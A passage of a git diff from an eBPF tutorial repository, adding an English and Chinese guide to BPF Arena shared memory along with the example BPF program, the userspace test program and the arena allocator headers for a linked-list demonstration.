bpf_prog_test_run_opts(bpf_program__fd(skel->progs.arena_list_add), &opts); + if (ret != 0) { + fprintf(stderr, "Failed to run arena_list_add: %d\n", ret); + goto out; + } + if (opts.retval != 0) { + fprintf(stderr, "arena_list_add returned %d\n", opts.retval); + goto out; + } + if (skel->bss->skip) { + printf("SKIP: compiler doesn't support arena_cast\n"); + goto out; + } + sum = list_sum(skel->bss->list_head); + printf("Sum of elements: %d (expected: %d)\n", sum, expected_sum); + + ret = bpf_prog_test_run_opts(bpf_program__fd(skel->progs.arena_list_del), &opts); + if (ret != 0) { + fprintf(stderr, "Failed to run arena_list_del: %d\n", ret); + goto out; + } + sum = list_sum(skel->bss->list_head); + printf("Sum after deletion: %d (expected: 0)\n", sum); + printf("Sum computed by BPF: %d (expected: %d)\n", skel->bss->list_sum, expected_sum); + + printf("\nTest passed!\n"); +out: + arena_list_bpf__destroy(skel); +} + +int main(int argc, char **argv) +{ + int cnt = 10; + + if (argc > 1) { + cnt = atoi(argv[1]); + if (cnt <= 0) { + fprintf(stderr, "Invalid count: %s\n", argv[1]); + return 1; + } + } + + printf("Testing arena list with %d elements\n", cnt); + test_arena_list_add_del(cnt); + + return 0; +} +``` + +### Understanding the User-Space Code + +The userspace program demonstrates zero-copy access to arena memory. When we load the BPF skeleton using `arena_list_bpf__open_and_load()`, libbpf automatically `mmap()`s the arena into userspace. The pointer `skel->bss->list_head` points directly into this mapped arena memory. + +The `list_sum()` function walks the linked list from userspace. Notice we're using the same `list_for_each_entry()` macro as the BPF code. The list is in arena memory, shared between kernel and userspace. Userspace can directly dereference arena pointers to access node values and follow `next` pointers - no syscalls needed. This is the zero-copy benefit: userspace reads memory directly from the mapped region. + +The test flow orchestrates the demonstration. First, we set `skel->bss->cnt` to specify how many list elements to create. Then `bpf_prog_test_run_opts()` executes the `arena_list_add` BPF program, which builds the list in arena memory. Once that returns, userspace immediately calls `list_sum()` to verify the list by walking it directly from userspace - no syscalls, just direct memory access. The expected sum is calculated as 0+1+2+...+(cnt-1), which equals cnt*(cnt-1)/2. + +After verifying the list, we run `arena_list_del` to remove all elements. This BPF program walks the list, computes its own sum, and calls `bpf_free()` on each node. Userspace then verifies the list is empty by calling `list_sum()` again, which should return 0. We also check that `skel->bss->list_sum` matches our expected value, confirming the BPF program computed the correct sum before deleting nodes. + +## Understanding Arena Memory Allocation + +The arena allocator deserves a closer look because it shows how BPF programs can implement sophisticated memory management in arena space. The allocator in `bpf_arena_alloc.h` uses a per-CPU page fragment approach to avoid locking. + +Each CPU maintains its own current page and offset. When you call `bpf_alloc(size)`, it first rounds up the size to 8-byte alignment. If the current page has enough space at the current offset, it allocates from there by just decrementing the offset and returning a pointer. If not enough space remains, it allocates a fresh page using `bpf_arena_alloc_pages()`, which is a kernel helper that gets arena pages from the kernel's page allocator. Each page maintains a reference count in its last 8 bytes, tracking how many allocated objects point into that page. + +The `bpf_free(addr)` function implements reference-counted deallocation. It rounds the address down to the page boundary, finds the reference count, and decrements it. When the count reaches zero - meaning all objects allocated from that page have been freed - it returns the entire page to the kernel using `bpf_arena_free_pages()`. This page-level reference counting means individual `bpf_free()` calls are fast, and memory is returned to the system only when appropriate. + +This allocator design avoids locks by using per-CPU state. Since BPF programs run with preemption disabled on a single CPU, the current CPU's page fragment can be accessed without synchronization. This makes `bpf_alloc()` extremely fast - typically just a few instructions to allocate from the current page. + +## Compilation and Execution + +Navigate to the bpf_arena directory and build the example: + +```bash +cd bpf-developer-tutorial/src/features/bpf_arena +make +``` + +The Makefile compiles the BPF program with `-D__BPF_FEATURE_ADDR_SPACE_CAST` to enable arena pointer support. It uses `bpftool gen object` to process the compiled BPF object and generate a skeleton header that userspace can include. + +Run the arena list test with 10 elements: + +```bash +sudo ./arena_list 10 +``` + +Expected output: + +``` +Testing arena list with 10 elements +Sum of elements: 45 (expected: 45) +Sum after deletion: 0 (expected: 0) +Sum computed by BPF: 45 (expected: 45) + +Test passed! +``` + +Try it with more elements to see arena scaling: + +```bash +sudo ./arena_list 100 +``` + +The sum should be 4950 (100*99/2). Notice that userspace can verify the list by directly accessing arena memory without any syscalls. This zero-copy access is what makes arena powerful for large data structures. + +## When to Use Arena vs Other BPF Maps + +Choosing the right BPF map type depends on your access patterns and data structure needs. **Use regular BPF maps** (hash, array, etc.) when you need simple key-value storage, small data structures that fit well in maps, standard map operations like atomic updates, or per-CPU statistics without complex linking. Maps excel at straightforward use cases with kernel-provided operations. + +**Use BPF Arena** when you need complex linked structures like lists, trees, or graphs, large shared memory exceeding typical map sizes, zero-copy userspace access to avoid syscall overhead, or custom memory management beyond what maps provide. Arena shines for sophisticated data structures where pointer operations are natural. + +**Use Ring Buffers** when you need one-way streaming from BPF to userspace, event logs or trace data, or sequentially processed data without random access. Ring buffers are optimized for high-throughput event streams but don't support bidirectional access or complex data structures. + +The arena vs maps trade-off fundamentally comes down to pointers and access patterns. If you find yourself encoding indices to simulate pointers in BPF maps, arena is probably the better choice. If you need large-scale data structures accessible from both kernel and userspace, arena's zero-copy shared memory model is hard to beat. + +## Summary and Next Steps + +BPF Arena solves a fundamental limitation of traditional BPF maps by providing sparse shared memory where you can use real C pointers to build complex data structures. Created by Alexei Starovoitov in 2024, arena enables linked lists, trees, graphs, and custom allocators using normal pointer operations instead of awkward integer indices. Both kernel BPF programs and userspace can map the same arena for zero-copy bidirectional access, eliminating syscall overhead. + +Our linked list example demonstrates the core arena concepts: defining an arena map, using `__arena` annotations for pointer types, allocating memory with `bpf_alloc()`, and accessing the same data structure from both kernel and userspace. The per-CPU page fragment allocator shows how BPF programs can implement sophisticated memory management in arena space. Arena unlocks new possibilities for in-kernel data structures, key-value store accelerators, and large-scale data aggregation up to 4GB. + +> If you'd like to dive deeper into eBPF, check out our tutorial repository at or visit our website at . + +## References + +- **Original Arena Patches:** +- **Meta's Arena Examples:** Linux kernel tree `samples/bpf/arena_*.c` +- **Tutorial Repository:** +- **Linux Kernel Source:** `kernel/bpf/arena.c` - Arena implementation +- **LLVM Address Spaces:** Documentation on `__arena` compiler support + +This example is adapted from Meta's arena_list.c in the Linux kernel samples, with educational enhancements. Requires Linux kernel 6.10+ with `CONFIG_BPF_ARENA=y` enabled. Complete source code available in the tutorial repository. diff --git a/src/features/bpf_arena/README.zh.md b/src/features/bpf_arena/README.zh.md new file mode 100644 index 00000000..f482e1b5 --- /dev/null +++ b/src/features/bpf_arena/README.zh.md @@ -0,0 +1,360 @@ +# eBPF 实例教程:BPF Arena 零拷贝共享内存 + +你是否曾经尝试在 eBPF 中构建链表,却不得不使用笨拙的整数索引而不是真正的指针?或者需要在内核 BPF 程序和用户空间之间共享大量数据,却受困于昂贵的系统调用?传统的 BPF map 强制你绕过指针限制,并且每次访问都需要系统调用。如果你可以使用普通的 C 指针,并在内核和用户空间之间实现直接内存访问会怎样? + +这正是 **BPF Arena** 要解决的问题。由 Alexei Starovoitov 在 2024 年创建,arena 提供了一个稀疏共享内存区域,BPF 程序可以使用真正的指针来构建链表、树和图等复杂数据结构,而用户空间可以零拷贝直接访问相同的内存。在本教程中,我们将在 arena 内存中构建一个链表,并展示内核和用户空间如何使用标准指针操作来操作它。 + +## BPF Arena 简介:突破 Map 的限制 + +### 问题:当 BPF Maps 不够用时 + +传统的 BPF map 非常适合简单的键值存储,但当你需要复杂的数据结构或大规模数据共享时,它们存在根本性的限制。让我们看看在 arena 出现之前开发者面临的问题。 + +**环形缓冲区**只能单向工作 - BPF 可以向用户空间发送数据,但用户空间无法写回。它们仅支持流式传输,没有随机访问。**哈希和数组 map** 从用户空间的每次访问都需要 `bpf_map_lookup_elem()` 等系统调用。数组 map 预先分配所有内存,如果你只使用一小部分条目就会浪费空间。最关键的是,**你不能使用真正的指针** - 你被迫使用整数索引来链接数据结构。 + +用旧方法构建链表看起来像这样混乱: + +```c +struct node { + int next_idx; // 不能使用指针,必须使用索引! + int data; +}; + +struct { + __uint(type, BPF_MAP_TYPE_ARRAY); + __uint(max_entries, 10000); + __type(value, struct node); +} nodes_map SEC(".maps"); + +// 遍历需要重复的 map 查找 +int idx = head_idx; +while (idx != -1) { + struct node *n = bpf_map_lookup_elem(&nodes_map, &idx); + if (!n) break; + process(n->data); + idx = n->next_idx; // 不能跟随指针! +} +``` + +每个节点访问都需要一次 map 查找。你不能像普通 C 代码那样跟随指针。验证器不允许你在不同的 map 条目之间使用指针。这使得实现树、图或任何基于指针的结构变得非常笨拙和缓慢。 + +### 解决方案:具有真实指针的稀疏共享内存 + +2024 年,来自 Linux 内核团队的 Alexei Starovoitov 引入了 BPF arena 来解决这些限制。Arena 在 BPF 程序和用户空间之间提供了一个**稀疏共享内存区域**,支持高达 4GB 的地址空间。内存页按需分配,因此不会浪费空间。内核 BPF 代码和用户空间程序都可以映射相同的 arena 并直接访问它。 + +改变游戏规则的是:你可以在针对 arena 内存的 BPF 程序中使用**真正的 C 指针**。`__arena` 注解告诉验证器这些指针引用 arena 空间,特殊的地址空间转换(`cast_kern()`、`cast_user()`)让你安全地在内核和用户空间视图之间转换相同的内存。用户空间通过 `mmap()` 获得零拷贝访问 - 无需系统调用即可读取或写入 arena 数据。 + +使用 arena 的相同链表如下所示: + +```c +struct node __arena { + struct node __arena *next; // 真正的指针! + int data; +}; + +struct node __arena *head; + +// 使用普通指针跟随进行遍历 +struct node __arena *n = head; +while (n) { + process(n->data); + n = n->next; // 只需跟随指针! +} +``` + +简洁、简单,完全像你在普通 C 中编写的那样。验证器理解 arena 指针并允许你安全地解引用它们。 + +### 为什么这很重要 + +Arena 的灵感来自研究,这些研究展示了 BPF 中复杂数据结构的潜力。在 arena 之前,开发者使用巨大的 BPF 数组 map 和整数索引而不是指针来构建哈希表、队列和树。它可以工作,但代码丑陋且缓慢。Arena 解锁了几个强大的用例。 + +**内核数据结构**变得实用。你可以实现带有碰撞链接的自定义哈希表、用于排序数据的 AVL 或红黑树、用于网络拓扑映射的图,所有这些都使用普通的指针操作。**键值存储加速器**可以在内核中运行以获得最大性能,用户空间无需系统调用开销即可直接访问数据结构。**双向通信**自然工作 - 内核和用户空间都可以使用无锁算法修改共享数据结构。**大数据聚合**可扩展到 4GB,而不是受限于典型的 map 大小约束。 + +## 实现:在 Arena 内存中构建链表 + +让我们构建一个完整的示例来展示 arena 的强大功能。我们将创建一个链表,其中 BPF 程序使用真实指针添加和删除元素,而用户空间直接访问列表来计算总和,无需任何系统调用。 + +### 完整的 BPF 程序:arena_list.bpf.c + +```c +// SPDX-License-Identifier: GPL-2.0 +/* Copyright (c) 2024 Meta Platforms, Inc. and affiliates. */ +#define BPF_NO_KFUNC_PROTOTYPES +#include +#include +#include +#include +#include "bpf_experimental.h" + +struct { + __uint(type, BPF_MAP_TYPE_ARENA); + __uint(map_flags, BPF_F_MMAPABLE); + __uint(max_entries, 100); /* number of pages */ +#ifdef __TARGET_ARCH_arm64 + __ulong(map_extra, 0x1ull << 32); /* start of mmap() region */ +#else + __ulong(map_extra, 0x1ull << 44); /* start of mmap() region */ +#endif +} arena SEC(".maps"); + +#include "bpf_arena_alloc.h" +#include "bpf_arena_list.h" + +struct elem { + struct arena_list_node node; + __u64 value; +}; + +struct arena_list_head __arena *list_head; +int list_sum; +int cnt; +bool skip = false; + +#ifdef __BPF_FEATURE_ADDR_SPACE_CAST +long __arena arena_sum; +int __arena test_val = 1; +struct arena_list_head __arena global_head; +#else +long arena_sum SEC(".addr_space.1"); +int test_val SEC(".addr_space.1"); +#endif + +int zero; + +SEC("syscall") +int arena_list_add(void *ctx) +{ +#ifdef __BPF_FEATURE_ADDR_SPACE_CAST + __u64 i; + + list_head = &global_head; + + for (i = zero; i < cnt && can_loop; i++) { + struct elem __arena *n = bpf_alloc(sizeof(*n)); + + test_val++; + n->value = i; + arena_sum += i; + list_add_head(&n->node, list_head); + } +#else + skip = true; +#endif + return 0; +} + +SEC("syscall") +int arena_list_del(void *ctx) +{ +#ifdef __BPF_FEATURE_ADDR_SPACE_CAST + struct elem __arena *n; + int sum = 0; + + arena_sum = 0; + list_for_each_entry(n, list_head, node) { + sum += n->value; + arena_sum += n->value; + list_del(&n->node); + bpf_free(n); + } + list_sum = sum; +#else + skip = true; +#endif + return 0; +} + +char _license[] SEC("license") = "GPL"; +``` + +### 理解 BPF 代码 + +程序首先定义 arena map 本身。`BPF_MAP_TYPE_ARENA` 告诉内核这是 arena 内存,`BPF_F_MMAPABLE` 使其可以从用户空间通过 `mmap()` 访问。`max_entries` 字段指定 arena 可以容纳多少页(通常每页 4KB)- 这里我们允许最多 100 页,约 400KB。`map_extra` 字段设置 arena 在虚拟地址空间中的映射位置,为 ARM64 和 x86-64 使用不同的地址以避免与现有映射冲突。 + +定义 map 后,我们包含 arena 辅助函数。`bpf_arena_alloc.h` 文件提供 `bpf_alloc()` 和 `bpf_free()` 函数 - 一个与 arena 页一起工作的简单内存分配器,类似于 `malloc()` 和 `free()`,但专门用于 arena 内存。`bpf_arena_list.h` 文件使用 arena 指针实现双向链表操作,包括 `list_add_head()` 用于前置节点,`list_for_each_entry()` 用于安全迭代。 + +我们的 `elem` 结构包含实际数据。`arena_list_node` 成员提供用于链接节点的 `next` 和 `pprev` 指针 - 这些是用 `__arena` 标记的 arena 指针。`value` 字段保存我们的有效载荷数据。注意 `list_head` 上的 `__arena` 注解 - 这告诉验证器该指针引用 arena 内存,而不是普通内核内存。 + +`arena_list_add()` 函数创建列表元素。它标记为 `SEC("syscall")`,因为用户空间将使用 `bpf_prog_test_run()` 触发它。循环使用 `bpf_alloc(sizeof(*n))` 分配新元素,它返回一个 arena 指针。然后我们可以直接解引用 `n->value` - 验证器允许这样做,因为 `n` 是一个 arena 指针。`list_add_head()` 调用使用普通指针操作将新节点前置到列表,所有这些都发生在 arena 内存中。`can_loop` 检查满足验证器的有界循环要求。 + +`arena_list_del()` 函数演示了迭代和清理。`list_for_each_entry()` 宏沿着 arena 指针遍历列表。在循环内部,我们计算值的总和并删除节点。`bpf_free(n)` 调用将内存返回给 arena 分配器,减少引用计数,当计数降至零时可能释放页面。 + +地址空间转换功能至关重要。一些编译器支持 `__BPF_FEATURE_ADDR_SPACE_CAST`,它使 `__arena` 注解作为编译器地址空间工作。如果没有此支持,我们将退回到使用显式节注解,如 `SEC(".addr_space.1")`。代码检查此功能,如果不可用则跳过执行,防止运行时错误。 + +### 完整的用户空间程序:arena_list.c + +```c +// SPDX-License-Identifier: GPL-2.0 +/* Copyright (c) 2024 Meta Platforms, Inc. and affiliates. */ +#include +#include +#include +#include +#include +#include +#include + +#include "bpf_arena_list.h" +#include "arena_list.skel.h" + +struct elem { + struct arena_list_node node; + uint64_t value; +}; + +static int list_sum(struct arena_list_head *head) +{ + struct elem __arena *n; + int sum = 0; + + list_for_each_entry(n, head, node) + sum += n->value; + return sum; +} + +static void test_arena_list_add_del(int cnt) +{ + LIBBPF_OPTS(bpf_test_run_opts, opts); + struct arena_list_bpf *skel; + int expected_sum = (u_int64_t)cnt * (cnt - 1) / 2; + int ret, sum; + + skel = arena_list_bpf__open_and_load(); + if (!skel) { + fprintf(stderr, "Failed to open and load BPF skeleton\n"); + return; + } + + skel->bss->cnt = cnt; + ret = bpf_prog_test_run_opts(bpf_program__fd(skel->progs.arena_list_add), &opts); + if (ret != 0) { + fprintf(stderr, "Failed to run arena_list_add: %d\n", ret); + goto out; + } + if (opts.retval != 0) { + fprintf(stderr, "arena_list_add returned %d\n", opts.retval); + goto out; + } + if (skel->bss->skip) { + printf("SKIP: compiler doesn't support arena_cast\n"); + goto out; + } + sum = list_sum(skel->bss->list_head); + printf("Sum of elements: %d (expected: %d)\n", sum, expected_sum); + + ret = bpf_prog_test_run_opts(bpf_program__fd(skel->progs.arena_list_del), &opts); + if (ret != 0) { + fprintf(stderr, "Failed to run arena_list_del: %d\n", ret); + goto out; + } + sum = list_sum(skel->bss->list_head); + printf("Sum after deletion: %d (expected: 0)\n", sum); + printf("Sum computed by BPF: %d (expected: %d)\n", skel->bss->list_sum, expected_sum); + + printf("\nTest passed!\n"); +out: + arena_list_bpf__destroy(skel); +} + +int main(int argc, char **argv) +{ + int cnt = 10; + + if (argc > 1) { + cnt = atoi(argv[1]); + if (cnt <= 0) { + fprintf(stderr, "Invalid count: %s\n", argv[1]); + return 1; + } + } + + printf("Testing arena list with %d elements\n", cnt); + test_arena_list_add_del(cnt); + + return 0; +} +``` + +### 理解用户空间代码 + +用户空间程序演示了对 arena 内存的零拷贝访问。当我们使用 `arena_list_bpf__open_and_load()` 加载 BPF 骨架时,libbpf 自动将 arena `mmap()` 到用户空间。指针 `skel->bss->list_head` 直接指向这个映射的 arena 内存。 + +`list_sum()` 函数从用户空间遍历链表。注意我们使用与 BPF 代码相同的 `list_for_each_entry()` 宏。列表在 arena 内存中,在内核和用户空间之间共享。用户空间可以直接解引用 arena 指针以访问节点值并跟随 `next` 指针 - 无需系统调用。这就是零拷贝的好处:用户空间直接从映射区域读取内存。 + +测试流程编排演示。首先,我们设置 `skel->bss->cnt` 来指定要创建多少个列表元素。然后 `bpf_prog_test_run_opts()` 执行 `arena_list_add` BPF 程序,它在 arena 内存中构建列表。一旦返回,用户空间立即调用 `list_sum()` 通过直接从用户空间遍历它来验证列表 - 无需系统调用,只是直接内存访问。预期总和计算为 0+1+2+...+(cnt-1),等于 cnt*(cnt-1)/2。 + +验证列表后,我们运行 `arena_list_del` 来删除所有元素。这个 BPF 程序遍历列表,计算自己的总和,并对每个节点调用 `bpf_free()`。然后用户空间通过再次调用 `list_sum()` 来验证列表是否为空,应该返回 0。我们还检查 `skel->bss->list_sum` 是否与我们的预期值匹配,确认 BPF 程序在删除节点之前计算了正确的总和。 + +## 理解 Arena 内存分配 + +arena 分配器值得仔细研究,因为它展示了 BPF 程序如何在 arena 空间中实现复杂的内存管理。`bpf_arena_alloc.h` 中的分配器使用每 CPU 页片段方法来避免锁定。 + +每个 CPU 维护自己的当前页和偏移量。当你调用 `bpf_alloc(size)` 时,它首先将大小向上舍入到 8 字节对齐。如果当前页在当前偏移量处有足够的空间,它只需递减偏移量并返回指针即可从那里分配。如果剩余空间不足,它使用 `bpf_arena_alloc_pages()` 分配新页,这是一个内核辅助函数,从内核的页分配器获取 arena 页。每个页在其最后 8 个字节中维护引用计数,跟踪有多少分配的对象指向该页。 + +`bpf_free(addr)` 函数实现引用计数释放。它将地址向下舍入到页边界,找到引用计数,并递减它。当计数达到零时 - 意味着从该页分配的所有对象都已被释放 - 它使用 `bpf_arena_free_pages()` 将整个页返回给内核。这种页级引用计数意味着单个 `bpf_free()` 调用很快,并且只有在适当的时候才将内存返回给系统。 + +这种分配器设计通过使用每 CPU 状态来避免锁定。由于 BPF 程序在禁用抢占的单个 CPU 上运行,当前 CPU 的页片段可以在没有同步的情况下访问。这使得 `bpf_alloc()` 极快 - 通常只需几条指令即可从当前页分配。 + +## 编译和执行 + +导航到 bpf_arena 目录并构建示例: + +```bash +cd bpf-developer-tutorial/src/features/bpf_arena +make +``` + +Makefile 使用 `-D__BPF_FEATURE_ADDR_SPACE_CAST` 编译 BPF 程序以启用 arena 指针支持。它使用 `bpftool gen object` 处理编译的 BPF 对象并生成用户空间可以包含的骨架头。 + +使用 10 个元素运行 arena 列表测试: + +```bash +sudo ./arena_list 10 +``` + +预期输出: + +``` +Testing arena list with 10 elements +Sum of elements: 45 (expected: 45) +Sum after deletion: 0 (expected: 0) +Sum computed by BPF: 45 (expected: 45) + +Test passed! +``` + +尝试使用更多元素来查看 arena 的扩展性: + +```bash +sudo ./arena_list 100 +``` + +总和应该是 4950 (100*99/2)。注意用户空间可以通过直接访问 arena 内存来验证列表,无需任何系统调用。这种零拷贝访问正是使 arena 对大型数据结构强大的原因。 + +## 何时使用 Arena 与其他 BPF Maps + +选择正确的 BPF map 类型取决于你的访问模式和数据结构需求。**使用常规 BPF maps**(哈希、数组等)当你需要简单的键值存储、适合 map 的小型数据结构、标准 map 操作(如原子更新)或没有复杂链接的每 CPU 统计信息时。Maps 在使用内核提供的操作的直接用例中表现出色。 + +**使用 BPF Arena** 当你需要复杂的链接结构(如列表、树或图)、超过典型 map 大小的大型共享内存、零拷贝用户空间访问以避免系统调用开销,或超出 map 提供的自定义内存管理时。Arena 在指针操作自然的复杂数据结构方面表现出色。 + +**使用环形缓冲区**当你需要从 BPF 到用户空间的单向流式传输、事件日志或跟踪数据,或顺序处理的数据而无需随机访问时。环形缓冲区针对高吞吐量事件流进行了优化,但不支持双向访问或复杂的数据结构。 + +arena 与 map 的权衡基本上归结为指针和访问模式。如果你发现自己在 BPF map 中编码索引来模拟指针,arena 可能是更好的选择。如果你需要从内核和用户空间都可访问的大规模数据结构,arena 的零拷贝共享内存模型难以超越。 + +## 总结和下一步 + +BPF Arena 通过提供稀疏共享内存解决了传统 BPF map 的根本限制,你可以在其中使用真正的 C 指针来构建复杂的数据结构。由 Alexei Starovoitov 在 2024 年创建,arena 使用普通指针操作而不是笨拙的整数索引实现链表、树、图和自定义分配器。内核 BPF 程序和用户空间都可以映射相同的 arena 以进行零拷贝双向访问,消除系统调用开销。 + +我们的链表示例演示了核心 arena 概念:定义 arena map、使用 `__arena` 注解用于指针类型、使用 `bpf_alloc()` 分配内存,以及从内核和用户空间访问相同的数据结构。每 CPU 页片段分配器展示了 BPF 程序如何在 arena 空间中实现复杂的内存管理。Arena 为内核数据结构、键值存储加速器和高达 4GB 的大规模数据聚合解锁了新的可能性。 + +> 如果你想深入了解 eBPF,请查看我们的教程仓库 或访问我们的网站 。 + +## 参考资料 + +- **原始 Arena 补丁:** +- **Meta 的 Arena 示例:** Linux 内核树 `samples/bpf/arena_*.c` +- **教程仓库:** +- **Linux 内核源码:** `kernel/bpf/arena.c` - Arena 实现 +- **LLVM 地址空间:** 关于 `__arena` 编译器支持的文档 + +此示例改编自 Linux 内核示例中 Meta 的 arena_list.c,并增加了教育性增强。需要 Linux 内核 6.10+ 并启用 `CONFIG_BPF_ARENA=y`。完整源代码可在教程仓库中获得。 diff --git a/src/features/bpf_arena/arena_list.bpf.c b/src/features/bpf_arena/arena_list.bpf.c new file mode 100644 index 00000000..3a2ddcac --- /dev/null +++ b/src/features/bpf_arena/arena_list.bpf.c @@ -0,0 +1,88 @@ +// SPDX-License-Identifier: GPL-2.0 +/* Copyright (c) 2024 Meta Platforms, Inc. and affiliates. */ +#define BPF_NO_KFUNC_PROTOTYPES +#include +#include +#include +#include +#include "bpf_experimental.h" + +struct { + __uint(type, BPF_MAP_TYPE_ARENA); + __uint(map_flags, BPF_F_MMAPABLE); + __uint(max_entries, 100); /* number of pages */ +#ifdef __TARGET_ARCH_arm64 + __ulong(map_extra, 0x1ull << 32); /* start of mmap() region */ +#else + __ulong(map_extra, 0x1ull << 44); /* start of mmap() region */ +#endif +} arena SEC(".maps"); + +#include "bpf_arena_alloc.h" +#include "bpf_arena_list.h" + +struct elem { + struct arena_list_node node; + __u64 value; +}; + +struct arena_list_head __arena *list_head; +int list_sum; +int cnt; +bool skip = false; + +#ifdef __BPF_FEATURE_ADDR_SPACE_CAST +long __arena arena_sum; +int __arena test_val = 1; +struct arena_list_head __arena global_head; +#else +long arena_sum SEC(".addr_space.1"); +int test_val SEC(".addr_space.1"); +#endif + +int zero; + +SEC("syscall") +int arena_list_add(void *ctx) +{ +#ifdef __BPF_FEATURE_ADDR_SPACE_CAST + __u64 i; + + list_head = &global_head; + + for (i = zero; i < cnt && can_loop; i++) { + struct elem __arena *n = bpf_alloc(sizeof(*n)); + + test_val++; + n->value = i; + arena_sum += i; + list_add_head(&n->node, list_head); + } +#else + skip = true; +#endif + return 0; +} + +SEC("syscall") +int arena_list_del(void *ctx) +{ +#ifdef __BPF_FEATURE_ADDR_SPACE_CAST + struct elem __arena *n; + int sum = 0; + + arena_sum = 0; + list_for_each_entry(n, list_head, node) { + sum += n->value; + arena_sum += n->value; + list_del(&n->node); + bpf_free(n); + } + list_sum = sum; +#else + skip = true; +#endif + return 0; +} + +char _license[] SEC("license") = "GPL"; diff --git a/src/features/bpf_arena/arena_list.c b/src/features/bpf_arena/arena_list.c new file mode 100644 index 00000000..4a2a3204 --- /dev/null +++ b/src/features/bpf_arena/arena_list.c @@ -0,0 +1,89 @@ +// SPDX-License-Identifier: GPL-2.0 +/* Copyright (c) 2024 Meta Platforms, Inc. and affiliates. */ +#include +#include +#include +#include +#include +#include +#include + +#include "bpf_arena_list.h" +#include "arena_list.skel.h" + +struct elem { + struct arena_list_node node; + uint64_t value; +}; + +static int list_sum(struct arena_list_head *head) +{ + struct elem __arena *n; + int sum = 0; + + list_for_each_entry(n, head, node) + sum += n->value; + return sum; +} + +static void test_arena_list_add_del(int cnt) +{ + LIBBPF_OPTS(bpf_test_run_opts, opts); + struct arena_list_bpf *skel; + int expected_sum = (u_int64_t)cnt * (cnt - 1) / 2; + int ret, sum; + + skel = arena_list_bpf__open_and_load(); + if (!skel) { + fprintf(stderr, "Failed to open and load BPF skeleton\n"); + return; + } + + skel->bss->cnt = cnt; + ret = bpf_prog_test_run_opts(bpf_program__fd(skel->progs.arena_list_add), &opts); + if (ret != 0) { + fprintf(stderr, "Failed to run arena_list_add: %d\n", ret); + goto out; + } + if (opts.retval != 0) { + fprintf(stderr, "arena_list_add returned %d\n", opts.retval); + goto out; + } + if (skel->bss->skip) { + printf("SKIP: compiler doesn't support arena_cast\n"); + goto out; + } + sum = list_sum(skel->bss->list_head); + printf("Sum of elements: %d (expected: %d)\n", sum, expected_sum); + + ret = bpf_prog_test_run_opts(bpf_program__fd(skel->progs.arena_list_del), &opts); + if (ret != 0) { + fprintf(stderr, "Failed to run arena_list_del: %d\n", ret); + goto out; + } + sum = list_sum(skel->bss->list_head); + printf("Sum after deletion: %d (expected: 0)\n", sum); + printf("Sum computed by BPF: %d (expected: %d)\n", skel->bss->list_sum, expected_sum); + + printf("\nTest passed!\n"); +out: + arena_list_bpf__destroy(skel); +} + +int main(int argc, char **argv) +{ + int cnt = 10; + + if (argc > 1) { + cnt = atoi(argv[1]); + if (cnt <= 0) { + fprintf(stderr, "Invalid count: %s\n", argv[1]); + return 1; + } + } + + printf("Testing arena list with %d elements\n", cnt); + test_arena_list_add_del(cnt); + + return 0; +} diff --git a/src/features/bpf_arena/bpf_arena_alloc.h b/src/features/bpf_arena/bpf_arena_alloc.h new file mode 100644 index 00000000..c2767829 --- /dev/null +++ b/src/features/bpf_arena/bpf_arena_alloc.h @@ -0,0 +1,67 @@ +/* SPDX-License-Identifier: (GPL-2.0-only OR BSD-2-Clause) */ +/* Copyright (c) 2024 Meta Platforms, Inc. and affiliates. */ +#pragma once +#include "bpf_arena_common.h" + +#ifndef __round_mask +#define __round_mask(x, y) ((__typeof__(x))((y)-1)) +#endif +#ifndef round_up +#define round_up(x, y) ((((x)-1) | __round_mask(x, y))+1) +#endif + +#ifdef __BPF__ +#define NR_CPUS (sizeof(struct cpumask) * 8) + +static void __arena * __arena page_frag_cur_page[NR_CPUS]; +static int __arena page_frag_cur_offset[NR_CPUS]; + +/* Simple page_frag allocator */ +static inline void __arena* bpf_alloc(unsigned int size) +{ + __u64 __arena *obj_cnt; + __u32 cpu = bpf_get_smp_processor_id(); + void __arena *page = page_frag_cur_page[cpu]; + int __arena *cur_offset = &page_frag_cur_offset[cpu]; + int offset; + + size = round_up(size, 8); + if (size >= PAGE_SIZE - 8) + return NULL; + if (!page) { +refill: + page = bpf_arena_alloc_pages(&arena, NULL, 1, NUMA_NO_NODE, 0); + if (!page) + return NULL; + cast_kern(page); + page_frag_cur_page[cpu] = page; + *cur_offset = PAGE_SIZE - 8; + obj_cnt = page + PAGE_SIZE - 8; + *obj_cnt = 0; + } else { + cast_kern(page); + obj_cnt = page + PAGE_SIZE - 8; + } + + offset = *cur_offset - size; + if (offset < 0) + goto refill; + + (*obj_cnt)++; + *cur_offset = offset; + return page + offset; +} + +static inline void bpf_free(void __arena *addr) +{ + __u64 __arena *obj_cnt; + + addr = (void __arena *)(((long)addr) & ~(PAGE_SIZE - 1)); + obj_cnt = addr + PAGE_SIZE - 8; + if (--(*obj_cnt) == 0) + bpf_arena_free_pages(&arena, addr, 1); +} +#else +static inline void __arena* bpf_alloc(unsigned int size) { return NULL; } +static inline void bpf_free(void __arena *addr) {} +#endif diff --git a/src/features/bpf_arena/bpf_arena_common.h b/src/features/bpf_arena/bpf_arena_common.h new file mode 100644 index 00000000..d8cd82a8 --- /dev/null +++ b/src/features/bpf_arena/bpf_arena_common.h @@ -0,0 +1,72 @@ +/* SPDX-License-Identifier: (GPL-2.0-only OR BSD-2-Clause) */ +/* Copyright (c) 2024 Meta Platforms, Inc. and affiliates. */ +#pragma once + +#ifndef WRITE_ONCE +#define WRITE_ONCE(x, val) ((*(volatile typeof(x) *) &(x)) = (val)) +#endif + +#ifndef NUMA_NO_NODE +#define NUMA_NO_NODE (-1) +#endif + +#ifndef arena_container_of +#define arena_container_of(ptr, type, member) \ + ({ \ + void __arena *__mptr = (void __arena *)(ptr); \ + ((type *)(__mptr - offsetof(type, member))); \ + }) +#endif + +#ifdef __BPF__ /* when compiled as bpf program */ + +#ifndef PAGE_SIZE +#define PAGE_SIZE __PAGE_SIZE +/* + * for older kernels try sizeof(struct genradix_node) + * or flexible: + * static inline long __bpf_page_size(void) { + * return bpf_core_enum_value(enum page_size_enum___l, __PAGE_SIZE___l) ?: sizeof(struct genradix_node); + * } + * but generated code is not great. + */ +#endif + +#if defined(__BPF_FEATURE_ADDR_SPACE_CAST) && !defined(BPF_ARENA_FORCE_ASM) +#define __arena __attribute__((address_space(1))) +#define __arena_global __attribute__((address_space(1))) +#define cast_kern(ptr) /* nop for bpf prog. emitted by LLVM */ +#define cast_user(ptr) /* nop for bpf prog. emitted by LLVM */ +#else +#define __arena +#define __arena_global SEC(".addr_space.1") 